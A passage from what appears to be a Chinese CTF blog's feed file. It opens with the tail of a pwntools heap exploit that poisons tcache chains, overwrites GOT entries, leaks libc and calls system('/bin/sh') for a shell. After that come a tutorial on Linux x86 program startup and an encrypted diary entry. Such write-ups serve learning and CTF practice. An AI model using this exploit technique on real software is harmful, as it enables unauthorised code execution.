class="line"> r.sendlineafter(<span class="string">b'?\n'</span>, str(index))</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">b'name?\n'</span>, <span class="string">'A'</span> * <span class="number">8</span>)</span><br><span class="line">strtol_got = <span class="number">0x404040</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># tcache chain 1</span></span><br><span class="line">add(<span class="number">0</span>, <span class="number">520</span>, <span class="string">'a'</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">520</span>, <span class="string">'b'</span>)</span><br><span class="line">add(<span class="number">2</span>, <span class="number">520</span>, <span class="string">'c'</span>)</span><br><span class="line">add(<span class="number">3</span>, <span class="number">520</span>, <span class="string">'d'</span>)</span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">add(<span class="number">0</span>, <span class="number">520</span>, <span class="string">'d'</span> * <span class="number">520</span> + <span class="string">'\x51\x02'</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">584</span>, <span class="string">b'\xff'</span> * <span class="number">520</span> + p64(<span class="number">0x211</span>) + p64(<span class="number">0x404020</span>))</span><br><span class="line">add(<span class="number">2</span>, <span class="number">520</span>, <span class="string">'F'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># tcache chain 2</span></span><br><span class="line">add(<span class="number">4</span>, <span class="number">536</span>, <span class="string">'a'</span>)</span><br><span class="line">add(<span class="number">5</span>, <span class="number">536</span>, <span class="string">'b'</span>)</span><br><span class="line">add(<span class="number">6</span>, <span class="number">536</span>, <span class="string">'c'</span>)</span><br><span class="line">add(<span class="number">7</span>, <span class="number">536</span>, <span class="string">'d'</span>)</span><br><span class="line">free(<span class="number">7</span>)</span><br><span class="line">free(<span class="number">6</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">add(<span class="number">4</span>, <span class="number">536</span>, <span class="string">'d'</span> * <span class="number">536</span> + <span class="string">'\x51\x02'</span>)</span><br><span class="line">free(<span class="number">5</span>)</span><br><span class="line">add(<span class="number">5</span>, <span class="number">584</span>, <span class="string">b'\xff'</span> * <span class="number">536</span> + p64(<span class="number">0x221</span>) + p64(<span class="number">0x404040</span>))</span><br><span class="line">add(<span class="number">6</span>, <span class="number">536</span>, <span class="string">'F'</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">3</span>, <span class="number">520</span>, p64(<span class="number">0x401040</span>) + p64(<span class="number">0x401050</span>) + p64(<span class="number">0x401060</span>) + p64(<span class="number">0x401070</span>) + p64(<span class="number">0x401060</span>) + p64(<span class="number">0x401090</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># get libc</span></span><br><span class="line">r.sendlineafter(<span class="string">'?\n'</span>, <span class="string">'A'</span> * <span class="number">7</span>)</span><br><span class="line">r.sendline(<span class="string">'A'</span>*<span class="number">7</span>)</span><br><span class="line">r.recvuntil(<span class="string">'A'</span>*<span class="number">7</span> + <span class="string">'\n'</span>)</span><br><span class="line"></span><br><span class="line">IO_2_1_stdout = u64(r.recvuntil(<span class="string">'\n'</span>)[:<span class="number">-2</span>].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'?\n'</span>, <span class="string">'A'</span> * <span class="number">23</span>)</span><br><span class="line">r.recvuntil(<span class="string">'A'</span>*<span class="number">7</span> + <span class="string">'\n'</span>)</span><br><span class="line">puts = u64(r.recvuntil(<span class="string">'\n'</span>)[:<span class="number">-2</span>].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>)) - <span class="number">378</span></span><br><span class="line"></span><br><span class="line">info(<span class="string">"_IO_2_1_stdout_: "</span> + hex(IO_2_1_stdout))</span><br><span class="line">info(<span class="string">"puts: "</span> + hex((puts)))</span><br><span class="line">libcbase = puts - <span class="number">0x0875a0</span></span><br><span class="line">info(<span class="string">"libc_base: "</span> + hex(libcbase))</span><br><span class="line">system = libcbase + <span class="number">0x055410</span></span><br><span class="line">info(<span class="string">"system: "</span> + hex(system))</span><br><span class="line"></span><br><span class="line"><span class="comment"># add(7, 536, p64(0x401040) + p64(0x401090))</span></span><br><span class="line">r.send(<span class="string">'a'</span>) <span class="comment"># choice 1</span></span><br><span class="line">r.send(<span class="string">'a'</span>*<span class="number">7</span>) <span class="comment"># index = 7</span></span><br><span class="line">r.send(<span class="string">'%512c'</span>) <span class="comment"># size = 536</span></span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">b'content:\n'</span>, p64(system) + p64(<span class="number">0x401090</span>) + p64(<span class="number">0x4010a0</span>) + p64(<span class="number">0x4010b0</span>))</span><br><span class="line">r.send(<span class="string">'a'</span>)</span><br><span class="line">r.send(<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">r.interactive()</span><br><span class="line"><span class="comment"># flag{e40e83f9-c9bc-440f-8f82-78a5ac186962}</span></span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>Linux X86软件启动流程</title>
<link href="/2021/05/19/Linux-X86%E8%BD%AF%E4%BB%B6%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B/"/>
<url>/2021/05/19/Linux-X86%E8%BD%AF%E4%BB%B6%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B/</url>
<content type="html"><![CDATA[<h2 id="序言"><a href="#序言" class="headerlink" title="序言"></a>序言</h2><p>在我刚学C语言的时候, 都知道程序是从<code>main()</code>函数开始执行的, 实际上呢, 程序运行以后第一个执行的函数是<code>_start()</code>函数, 然后会去执行<code>__libc_start_main</code>, 具体流程如下:</p><p><img src="/images/Linux-X86软件启动流程/2021-05-19-20-43-57.png" alt=""></p><p>本文将围绕这张图进行展开, 主要是根据参考文章进行一波学习, 程序使用动态链接, 所以如果你用的是静态链接的话, 可能会跟我的调试结果不太一样</p><h2 id="具体流程"><a href="#具体流程" class="headerlink" title="具体流程"></a>具体流程</h2><p>接下来通过调试从汇编层面来看一下具体的程序启动流程</p><p>我们这里写一个简单的c程序, 并编译:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// prog1.c</span></span><br><span class="line"><span class="comment">// gcc -ggdb -o prog1 prog1.c</span></span><br><span class="line"><span class="keyword">int</span></span><br><span class="line">main()</span><br><span class="line">{</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后用objdump看一眼<code>objdump -d prog1 > prog1.dump</code></p><h3 id="启动程序"><a href="#启动程序" class="headerlink" title="启动程序"></a>启动程序</h3><p>首先, 操作系统如何启动一个新的程序呢? 在我们执行某个程序以后, shell或者gui会调用execve()函数, 通过系统调用来启动程序一个软件. 然后会为你设置一个栈, 将argc argv以及envp放入栈里, 并设置文件描述符0, 1, 2(stdin, stdout, stderr), 之后加载器会设置各种重定位, 然后会调用我们的预初始化器, 当一切准备就绪后, 调用<code>_start()</code>函数:</p><p>(objdump的汇编代码跟ida的相反, mov %rsp, %rdx在objdump中是将rsp放入rdx, 而IDA中是rdx放入rsp, 所以他们对同一段汇编的反汇编显示不太一样)</p><p>```asm</p><p>00000000004003e0 <_start>:<br> 4003e0: 31 ed xor %ebp,%ebp<br> 4003e2: 49 89 d1 mov %rdx,%r9<br> 4003e5: 5e pop %rsi<br> 4003e6: 48 89 e2 mov %rsp,%rdx<br> 4003e9: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp<br> 4003ed: 50 push %rax<br> 4003ee: 54 push %rsp<br> 4003ef: 49 c7 c0 60 05 40 00 mov $0x400560,%r8<br> 4003f6: 48 c7 c1 f0 04 40 00 mov $0x4004f0,%rcx<br> 4003fd: 48 c7 c7 d6 04 40 00 mov $0x4004d6,%rdi<br> 400404: e8 b7 ff ff ff callq 4003c0 <a href="mailto:__libc_start_main@plt">__libc_start_main@plt</a><br> 400409: f4 hlt<br> 40040a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)<br>``</p><p>首先清空ebp, 用来作为第一个栈的标记, 此时栈里保存了argc, argv和envp, 所以会pop argc到rsi中, 此时rsp指向了argv, 使用mov把地址传给rdx, 之后用and来清空最低四位的栈顶指针rsp, 使其重新指向栈顶</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li><a href="http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html">http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html</a></li></ul>]]></content>
<tags>
<tag> basic </tag>
</tags>
</entry>
<entry>
<title>日记-2021-4-25-23-41</title>
<link href="/2021/04/25/%E6%97%A5%E8%AE%B0-2021-4-25-23-41/"/>
<url>/2021/04/25/%E6%97%A5%E8%AE%B0-2021-4-25-23-41/</url>
<content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look."> <script id="hbeData" type="hbeData" data-hmacdigest="340520355833402eed781685caf9446dae3c572cd0a241c360e9b28a7d1e3d0e">7680ccc315d3aeb4f53c5bacd4937a9efa1e7d60363f18007bcfa4059fb647cc9972e3d8719d433fdcdb1b2c0be3192d31ae96051aa18e7aaa5b8f6a093df18cbb0207ca82d325070df2a742c4cc7a413ec6c266e566f01d3049311239c392cf27893eb83b039d6a1886ac9cba72345ff598eeacb414522e1216a073117bd062e6b0bc59a1b7e5e4a9857a40fd5ce4d61a4cda7f5f5a4a650d6410a9c8ad0498588813afb0558eb91a6386ca6c568cb28469e8979ed0a417d48263e09156361dace7efce7becd86812626d0592e29a2e90df36c522de7c38b9dba622f00b691df35522ab0f5473ef107d0ca56dbff9ffa27fd319992fbea836a0e025c4112d39ca2cafbfc8672cbc554a37ff8e0dd2e4509155ad322062ba19b5e367998e5f4f804c0f176e450397440d955acfc49b79d0ee524b52f6613a7729829e9fa91ee1386ea068278d56d71a07cd9f2864bdfcecc75b962d3a161cddc8eb08e068f8bfe238051a6fffe04543e5326221f69ccb0748d3b51fca506b8397b7c9adadecf795c84f1b926c0f21a761d953505e3389069231ab45dcb4e0e9686d2f3caf6d1a0f11e6ad7bc606fc3de6d82532babd12bcf60d2985b194b7c457b364e87c5b266d6b61cce857800f47d21a008c836b7ad201a5af7be62a7e6f4395471abd4a857fecf0300c2b3c9cedce409c003b7aad071c3468e063d629e94f8c315aed5f00b37986028a4f31f02ad2c98ce07674a455d1d824b7f89807601e6d9d8c7e1cc28e7db685f64d8c049a6a9f2235badeca0d51c75ef0f873bdb912f504e0e2c900e07afca3e697d8def5f39c83e4b938bb2cedc62d4cc85c0357e5d9f62843efec9af0ac4b9258cc0e23c8bf9be5e6852d3cc899231e8ffed168c5be24374cf63b0154d9dd5e981d3676a593ec2a420e3ef8f71506813e8b170d1c703c8b02ded69d6c06724305ba14e2be07710fd85901e1280739487dbd74b03c1d211939f4f3f4e0f725a9b891f526cfcbf9c1408d247afb6a99e2cf1087a7a79e25a6e3adb3aa9da1a7e1db42f7b581fd073b30a368935990ac15de49f1f28041b14e8aaca46ac7c1df0b88ac4b4f1541572195ff8996a5d3080759fe8f489213d3411da1518839190f2fb151dcce5c08643d8a3544f55ba91d9ab39fa087c8fd0d46bce6822042dfa43a1e5e8470f14b20dfd78721574189f77446bb13dee2cf23442b87bde00300e3a3b97cfbb6cc401d2d97d733e87ad9fe44272943e7e3e6f9becc065ae393fafe2a2a7160da6e731e595e2968e6baab8dde9f4aff7d5d2d957eb240b186c233085095effc64c35f7d0411df0c9c7101dbed8f988c131ab78dd8c9482ca422f087f000a585dafbc4948e48b6d8085f85baac3f1fce53c464cc39f9ac53e192c06fce2596d602993087ec84877c8434be84b2738f0f8d08161515e315b585ca10e69698dd33ee3e85bc4d549cb26117647e0cf8da47e2ac881ba3f1eca9927cb57221a67268d868192e5ccf6c7c4ec5582e30f849edb6da392fb0072aa04ddeff7f0d479ddaead6536e4da7f6356263b92d64addfcaf2c31e1df0adf9079f5b533de50f909ae88d26942ee232ea9b0a7fd833240850feccb2089e0668343c0875eb2fb542ee537adca65c4d6c258483f8221ebf59b91183f5336b1f9d715a0405c7f4015c6dcdb7344d728b47a1970d299febc14617ddd45ce723b7c64eba18199d38f08a3f648f9377bdfd1aeb0dc763e46a4d6714251a0c13443bd19394aa66a4ceffe8fffce397e0f9194d86799d2cda1b6cc60c598d542b25b6a7bc574a632a24acf0ce89e31856c81a00c58eb8def5b4df7fd7c9fc2587b565b9648429a4545958c2c399d9cc523db3874e98aceb243a24857f841c9e6295d03ad566d120855f035dcb148cb16c6d73dd060e293a1401e9b09b4fd2fb835b4cf034ccb5c4a5ad16d837bd9de6ea9695b62a483f89f348444b5448324b877aed844364e5a51adab59883bca1c5e542cc958cc19c368af9e432bb0d4b6b0a9ccc47741df144c7af4cc565e77031e55235ecad4f41caf2dd194cd9e8c666b3dd51ea2760d8c222f6ab2542765ce3069986b758572fc3bf7db8668d3582ac2d8920b59241b10fe80a9ebc3fe82b8a7ba62279aa6e024323965c497aaf130c018c99dde6a01f3b2901d86a84d95fef8e7208cb8871a9e954ca6a61a6934c6896d1dc3b15fd280718d8d976c034458f7f2b3c601354804cc48ad48a502e581a8b5cb88a80af153260a202182ed80724199591578b7566cfa69c16e9e29ec74178a3cc378a3a30158425112d9162bbddbfe263c058702de4703d7c895c783e89a34f872edc40e2e0686dc35be7296b854cd990267b286a02d9d27a0ad88d279176015b46be4b649aa253793afb0ae2bebf1cdb8ac0b23f3f1a65ca2c1dc5a1828dfc6bd46e835db1988e2d20cb2c0ecf8be949e31a0025fbde63bc5ccca52f8bc4948dc833918b44885b042004dcf9ebf5be4bda92b9cc454952b3ec7a7782741e8cec00b3474a16697283a75831aacc3225b8e57b6f61e0749aabfd2c413827a88c8f1b7faf61d36edcd8c2809e86905e9185237a82a3568fbfa96a16ade03103ac1ab56da7697fa8be6ea702eb51e29fb6095b0dfad8342e639a88b9d914adaffb966fc939950b901be5bde6ea47f9a8b66a0adc5d2f1fa6c992d5e1f4ae5da6ac5ff9ca838dc7adbfe20aa5d377da830e54007f95330ddb650da65842266bb97a32310f6d4691f8ffcaeb51a6a81e43a35852631a30eca1c1742e2543cc3b24e7d0a6ee51567cd97ebdfbe422a30953b5d55255313fddd22f0bece1289c1d543a3e2117cd3baf0b62811ccf6a1c0526a37f01a501cd33017399205a17b6917ee5efa346349d7d593df29608beeb585718ca8f06aef6d29edfe87cff6ca12a5a00711b10a1e123e225d5775d02e8aac1d1dece6520adab2b422d6e098233b2e79f7cd68afce63c9e40c9b2e31bfc0fad1ca34df743439eb77187ce84d49fe145aa608d9e2cf58caee704ba568225642c3ae098ca5ac17c5e36f15895d4a6cd393e4020445a45074af5831cea5a0fe39e5ff52888a9e406e21c7cabdbd7bd1f74a7fa5bb5bb4efec78b5500303f839a5fb4a665981176fcb1e0e98c3df7c7b26ef34ca1f3fce5ffe0a383f2aebb585a34631d896b39a34ff7d3c9f83fdd1fb707ed827a948828a3dbac24b70474f1f2ec7eec9030290881d4c375c213ccf14ad6f2c76bd6999f57d9734e6570b8400d7f759e555ba460885dca3082781dbcf458f067d2d6a6e043c70e55d92d925a1a9302691ee2591be9693f2637618b46ba1d349502c15b54b0b45f2bf63751d0248b52e4f96390c77b818424446733b5b4c7ea909037ce780d8180b226ad339e9f262c9c01f12f972377cffbfff85520bb8ea3cad1265e785deb1a3f86445894059d9cc4d869c12abeaacae7122ff15219a9516ed81af5dd99688ed199bdb9d5e931cf4754c347f371eb7c44bc84af74f05c6cb6384033ceb0eb277a215989d398489f8e18319ebc01d671fed96efb153b3825440c2a1121af015e5d9d23eb139a0b51c8811d09d2d69da595157a8067b9de4581936ff4181909ca1b6005c11a6b411c471c45013d8ca12c10591cc9159b11c1087e92a18f379b79259a9a67b9d6a9d60735a7d3c4e70cfb30a9d7e97f74f187e7531956e68aac838f9592fa840cb939733af20db719fd7ebdb7473e01832b76741a4ce842beca3391b919a44456dbf818a50ee4805f530fcd068eb33c50c634eb8e6607bab25a14dfa7169f3f589f24ab9207378564b7323019c2e52708f28ddc7f8b8043eef187fdcffe02a848e02a4eead266d03484b6c1811513e48b98219cdb4732ca63cc0561c3352a5f308f067d6b867f16deec4f9a69107759710e8a45813ce2e777c899fa04f6d0bb19e97d9acc2d0c3b7f39c10920c2c8aa64709e382f85fd027004e991cfeb25264c8c400f60337b491b97073f1fef030504a48d3db91a2048945578de04a0bb261e6fb48a805ded4f30fd7923da2480c5b43ebea898f0519c12d57c17eb11c30f8ecf9e17385fb6920720f9a939fb80d0cbe2b7e3b32465169704c2fa8bbe19bac4a32dec103a92e5ef9dd750d7a36c3c986112a12ea2c407215b7e5318ee82a3bd7f13b67cd49b037dd77b3783b8089cf8c38c9a484bf56c957912132c08037d8732b813f56d6b8f8068ee7d3bc624caffc07e3df578b5ad1e822fdcf315c210d0fc21417fa8fa539b198d7678f41dbfe02b54351c21ce9f3e8d68fd54d72075cb40c81887aa49cb5e7a430bcb6bd8e32d8091b61c84b8fef0943ded273cd8130e1c20cb8a6943d27bc78dc1138c147603afce0756f40ac91060a7b2fb26aaf587eabcb83b3a504dc7effad6ccdd8a85553228eb8f1a2130e2bb72a8df4632bdef4ab77f14d73ddc0ccfb00c50fbfd9bebabdbef05e22a21f1785deb6ae05cfd331dcfbca76ec9f98913e98f58b6567724628c8647666b7fe83cbd24d7f5238f1a54e53f69891feb662bb5722523b8d902f348de4983553148bd6219ec9e8b0b44a8e3e9f4074210e6e4e5f0b0ca90123bf36ddad5559830ceb234843d2b4583a02dc6ccf20da080285abc224ec0290fc48b46063eeb26042e2bfc1a01ecd420ca2c23640fa8d2424abc2cf6203cd8e0df0001848ffeee1dda2f75e4e5033921949cb03fa98d15afa88e0ffc03f7757284f82be8af28e6b9677c68afa691875d951416733e2cf05036e0f2ce2f0c3aeae326cb6e73735c6224d39d7156eb1b9dd166a23be6ea71bbde242d390f7da71ac54e40a486639af24583d8a75fd1a61fffef4d32a71f6136e31102d241323c0c531f93df12d871563d23df48596ddb1cea4c409817158ed5ad24bc9bc331402a005115eda52d635fbed49d1ab9a632545f762ba4e7d97586d56c78366a9af79d1d68939bd8a45c7210b323ca3f8e51d06dd06980b2364dc34ce7a3259401a60879d431c12508c2d9b2d7a3cd1b6de877d636a2172f4f985a93dad6d97635cc7fb56c2868c3bcfc65b8c49ea659e1a1286f1cfd3d87195501ffa59e3620e81d435ad72606568a6ac48321f9cc396e811a5bab00a01e6fc87df6d4f3ffbb5144db71eca037fa54c658e793dad89d3156010232f2afb7c4c238debcc4dfc62acd76059dc053917b14896b6498e38f67aae8df6ddffa7f5123c7dd75b84fb1d1ce7e7b3f71a874eb0e4d97a2d1616877259a492535afe4a24cfe43b5e5dca8e39176679a5ea64209bbc7dad11599b97ebc0c7f966c24a6126a4cc3b78f499ab4ed60c005c5cfc96cdf810817fd85782cb426e4440179d71fa34d8da8b2fb601710fc9ce01561b90eec11f5be34993a91c782559da5098744e7c7e43c5b701a72872776d180485c3a3719853872c7617d0c8ed3fd813b0a185f87d93acddcfbd42e3728b79e5d4956fdd2d4e84f8243e1f1a2f395227bdb3cc2bb6b6569a3a2b7647efca60b61ff02927e0387ea7f093c3cc0883873be30893f65f5751eff3e9ab8283f93ccdf41a9d7db2639e22a26a0cfa4b4281c1038a025367a1e18e90a022a204855157daee40d427ff81e20b369aecc1ff5054e9c5141405495d747bb8ca573f21073c89ab363c776df4c1dc11aeff231198a04aeeb3f8ba618f4ae266d1343566c3e96c9ba07c45c095a7dc870d9e545583ef6be0f8de47e9b133fd1dae8fef17708dc49ac24581da27bad16ff17675a038f4df55fc1a8920bb22e23fc3416e4a79091ea94fdb43feb530547302140983bfa61f69411088fab2a75a777669327a3a8f61dcfb2791ad23b13e9a1a76614d25468f9316b01ef90f7b078d1d7ddf6b1282e120623efb08ef88cc0498e97bbb382cfa86c5c662be69fda5df373c692354c8cb82102dd250229e145afedfbb39d94d8c28637931c109f2bd9b643455134fbb0e40fa21254385454d024348ddd202537e9f0f4515b19364f7f43458256e4df57d2103f41d82c2a29e64da5fb1e34c9491699c906a8c48084100f464a6ad10de5ed3c67d3605434fbd4457add11287267308cb26ebe8392e2cd46ab0e111f187e48df2179a1fdb54b292a197073cb183bedfaf732c7739dc65710216d10e6cebe31caa959e9469934a1acfe2bd305e384e937b65bba031ed7a8f4ce52846943311239b6df22adab7684bf1b3b20c06c9d52f353c78a5218bdcb4cd9516c1406103cac63fd55de6b538dbce19877522eaccbdbac3579beb09526614a6f99bf0b20484eff92a747553a2eea9b175befd5779ecf0caed746c48271d0fdfe8f5705ee12950c5414aca6af3619a0d7fbbcb6d40cc5b7df636f9fd101bd0cd500438304682117a15c225c64f0d7ed3331479573a4eed728f534a77c9d68e7761d0b34e33f9dc991b8c3831f086efdcbf948a3e60200943508f39919a2dbe71c17be8f5f03130797cd9ba86607d3804751099245db1d5348734d182cd36b3296790afb8f6d805a0342b99451b0e6291c45f5c2f5a7e26c3159646db9196f692a73a2824a39d4d1041d64e6f224ef350e71155f8545211c33cb7a60f621cc42528f2ac59e512253073e00ccf35a1713f920a030817735905846aa938ce376baaccbac880d128cfeb3fca2cc8aade3c1cd6b04c496ce6b5143573a364a1fd07040c87a3aa009f2fd26a1b4e51cdcd39dd203ed1203ddfff4d0fb0b785795f378eaa42c96273d49ad64c21d56fc820a6c464be360e37cc03d7e6702108a870e22c9d6ee929dbdc96c5f93ddc18926ffdda4bccafadca1c30fe323b7038e17a7a7ef548a4d66d16612e29f7e16cffd4d78e063da8f97be4f4e3af48fc364544dbd3092195c9619ee451a18c2a8cd2b11f9ecde6691525e6e4db960bbc9e68abf98de1f2622d2a4727aad80ec0d600cacf58a1d2dc82ebef0453fbc612abc42a0d55198ab0c7e033fd6b4035be50061b7dcdc695158c855c5ac7674d5ee8ab96f4ea53fc1850fb490d4c4707a03206e5f8d68e748030f568b3786f0a5e5acddb4e8a7633d3fb66471fb10bea59aff98cafbbadd942a3a94f4b534cdf10ee83bf624d4380178972888f489c2a32d147a77a4d6fec87b7b3b4815876d661a078a1445ea2d0e13ada03cdb4f9384008f1584aab657ab50be57fd67095405998b96db4e1f1c0544ebab8d3a121b4a25184d84dc5b2e70c3c24936833048a22a305113f9eca7a5973a67d6ee76a4b6355b11d93a3b0d8fd2116ab2812fe9afd257a3c362564a1f68e9141537690285ffa0e81b5e7b39242339f204c4584e0c090af7e3792b92f4a488cbbd2b3bcda0a159af85519bb3cfe74041b2a8ad8134fa66eab9298d6863370942e7796743c97e304592d98909a3bd2cf2d8ae84d0bfd5d0e5e4f60cec713ef09e955e12e9efa89972fb86399df07ed26de5ddda55962550d1b953f37fa55887662352071a0959e1eaf0b9abd181a08bbcbc31a980084563e09b28a2d5a6869e3ba5761ec1e93413c8d9e270c7ceadb463ebeb2bf893fe1b7d5f6dd302047fa2112ca3e5e1a1787da79c4d826745fe8e46dc951cad0845c87ead9dd0ed6eb8ab9f9a31ada4207d10167e50c1b017a022e30b39a1cee97e0c5ff54fe223f077705e1dbcf7ad54c828a48557c2b85ce15cecc447d38190f2ef21bfa45e345682df11fb9479bf0f6cf02d76943a645110e40f5f71aba48dded2817493285b1f74bb354d222c2c823a7672682fc2f46970aab979ae25c5f3a9527a2d2618ea34c884b9286ee9d80fc00674e8be5781c3f11da72311d69663a3ff6f07cf7ca6cbf1e4fa97d317468ac349b734fc47af1316f777fe295a4db941d3ada53653f15d149ff15a526f1286c29e979f474905722f7b7804a70627cccf7c2eaa268444218fe2bb86dbb9226b6e89d1d4aac4d3589c695462852bf4a7213c86ab08ba5d00249b90109a264bd199455fb9f7bdd24390b209b316669b4a0e8fd5515dc89d764cfa3b52407d8b8bd8dc438f73e411bdf5a8e30d67caf3ce941f35791056a2edd0fe3498236d83d99ab9d58b86fdf3cff5221ff561f7954c34be271f4f610face43eb0b2c675e0419eaecdd0fc19489cc8824c02726af4a98fb5e8a80de3edf46111f9fc95273e7b4cea0718e1fa1822177f4600daba75b2db6038f1290d88cf4c0dddd97bf3018854d3b2b7009f1158dd42620125dd5c8cadb7fe1a5a19807d261eb32b3cc7cf0374f75cc5d9f9998360908d3685168e8ab0c68584c364d51512d2f551df440c5658b889ebcfe9715a2aefcd63a24f44d5852a4caf172d64080aa76988d361060ba008fba67217f1661b363427f6dc33c5636220f652360570e3ac1c2b93a6674ebbb42268a49030aff85f6cb2d4581c9e938d16fed27163eed803af11a81406ae3febfa38c7602026461f4b56df64d30241692bb628e13350c22f1920f9423603ed2b1424ce8a77d8ae9e81c78392ec8f79e1d09a7ae9ee002099abc855fb81ec9d32be64f99c81e21145d6a436baac979eec24e68a6431c89f0c487d1d9fbf3fff5246a20308f866af439162ae7348d7afe9a07a6c16c7cb3ebc0a8ab34558c29e034dfae1c6aa91f1ff7a5d04eca303e25f584a6a3c8d2b669f83699076398e62256714d76597491bed3d58db959d6274b2f1abd3ae8207b2df537eef4da75a1afaf96c8e9e6abe37ea59aaca46c68c9c189b15e7461cf87ce0ba36ab817879d46927e09ec43decce572d9d3be965b9f81f1827b56d9b7e5b112c054a2dd64ead0af11226528dbb8739aa004dfa4a7a422e677a73a210589759be997bbc2991fa52538d844742e6790122eaf154b38044bb212c1e362c772cfd9685a862623516661b52719a0e2ffaf88ee35a9dbcc4682ace0dd0c19da19a6a62bc3d7153b990316d053b335d3d68829c5fc8e31ac3a5edc9d0f51d53ba7634211adb98c62ecda07989031925b43efe713e1ae68211bec47569da5664c5d9197461b8cfde67be2d76167955df8952f95f1722bd71894fa99c678047540b4a1c333e962457ba2c2753bdd9f1408aa5e1d12ec411656b294a1852caca19d2db6a1a4db9af1a281ecefe0d66a88c080c58c31be67c52bc8842f3f42966e4cfdf5a792869cbb74224d7d31ec97272d48a4d1cc867e2f8ebefff654ab3b227654af222ceec2607b9a164e2c354ce7e5686a7436d878283e4a29ad576e1a20356fba3fc2f3dc3c313a689f8968c321807453162a37cc07a0e8e800a64ddff5651595d2469842aeaebf01c76243f7f549297e05df29442badc9b00774199bfb3d5dc2a5d243c47ee6646f1bdfc85edc098f84af96975e66dade75b5b7ec534eeb8f2a9229860e40148898fec356e9d8e91f2d187e713d045909f46d38a61f895c6832a9db5b3c0a1896b356a7b0678468f15104358c75dc5ec24fc694a42e2b72460b31e078f00db3ff8565a15a5c104b6b9c6fe271c2a1fe66c42c32cf810c3415cae5bf23b87d929a9eda0a6094db7a35ab0d2b5b54d07bbb8dc628423adabc50f642de8682b150fb31901dc03a5930c8aadc90b1a4f1950db4e6289ed1ce12b5533db34bbf6e0bd316e6034f417d8e9e42be7997ffd4899457f7af92425aa742d283f408e840577287cd9e3d2a4350fc1405a0b514a32540ca3a9480d10e9dbe854495449aa22fdcdffa528ae26eec08d71181b737c41934e6ba66a276e9d144dbcc08914901ec69e42a2ae3d99e3cb472252f33e84208dfb11384ba7185dac79f652f91d2e890a39a00207da65105c0789f7c44b8a2fbc5702a58fe0709fc6956bf05aee2dfd5f976996147e3ffb96f000ce460b58cd39772edd15c20afa51dd5f478fb5e9ff5a6c3a0a8cb1b055223b28292b3248c3f5b71d9142aff4cfebb5505af491dbe75480f67530eb66225eb973e70f23fba87e4c78c992dd75be725b0c7eadf15d401f1c2200648296299034597d7562052a38433162ef93eaa485ae27089d5bcd4492f2d27d2c45e1018aa1e61be4705d41a02e85160df553af6782e757c400b3fc45c71425b8ac3cc5a8f31198201ebd4fdd90380241b4f357197f1782606902ad9d2f4861d6c71dc63dac1f03042563725af809f81577e082214fbff383e73d788bb8cd4ee937f834e58e657d04b5a3ee792c268d80a46a28aa1e6cf2f773b3c1d65043ecef741de5c72d20e28e183a936abc5000c40133ab097174c0746a14c6cf69883ea6250390786db6563d0ac21e13d0affd4cf8ebd2e6689be62ff8507ad216a51cdac6b045768ddf652a43e466cbe62e9e43e14bab72e64d88e5d564d07b5b25a19aa7e70e42b38d11e3e3743e7235a14d4a94d5b15a384c38e3d0d72748d9dea8777d35a5fa587900e0ba22bfac1bc7049ab98c32fc84e853137c45510a5c66473ffcd78a23c7289c65a61ea02e2ff7eaeed4ffd70bdcc8fc0b69765db8c30653c00d3eb56fa14e848f97d89417aa9472b96a5592573fb504cba24ce47be48cdc226f060204e653462efe01d0736c7a49b01f19ebee33a61e456470a3d8eea34a648f36c2f006479dc468d2ca90593b3cb315da294ddb2ab3d96e46db1c9c0f71ac3fb009d612c0415de5939fc1be2ca556bf2fd6bbf4bfb77df6c10968e5f860207e83beb3b51f2953f6557a7fc5f9d69334c7eb8bc566781ff14cc710285eae7eb208795dc5d607659cd82bc8e6adb6e7bf29101cf86a90a59c01e5de8d46beac5660830080a12a21c64d705df2717871a94f77f93463903e03b014ea7e5189b9113460d2b9007f786d1ceb9b7452e61625d907698d849c6db9ef8ae7ed7c7d3c73ad4a79cdad3ea19a905f6934ad856ea18258c13898e57773d61ea1e44f33793768b85ecf3c50964de954018383d6079528fe7d7259ce478be8e21ae6cc9f8291fd17968e817bf806d12965431c7424a9a51fce9a4da091ab52cdee85d1ff6ef39ae112979327a36eeba8d428ac5592093cd43017ec12d2b01c5832ddb14ac4796762c9a7f83eb81db85b6ab36e5bf850b5b9ba894dffa4f51855d6b818846b45b1af9360e0c0917d21eee0871eba455aeb74a1956df35aa9d5558ae61c22a67e5fc861176177cda90f6c33a1d1bd5752bbf22e0d63ca8f</script> <div class="hbe hbe-content"> <div class="hbe hbe-input hbe-input-default"> <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass"> <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass"> <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span> </label> </div> </div></div><script data-pjax 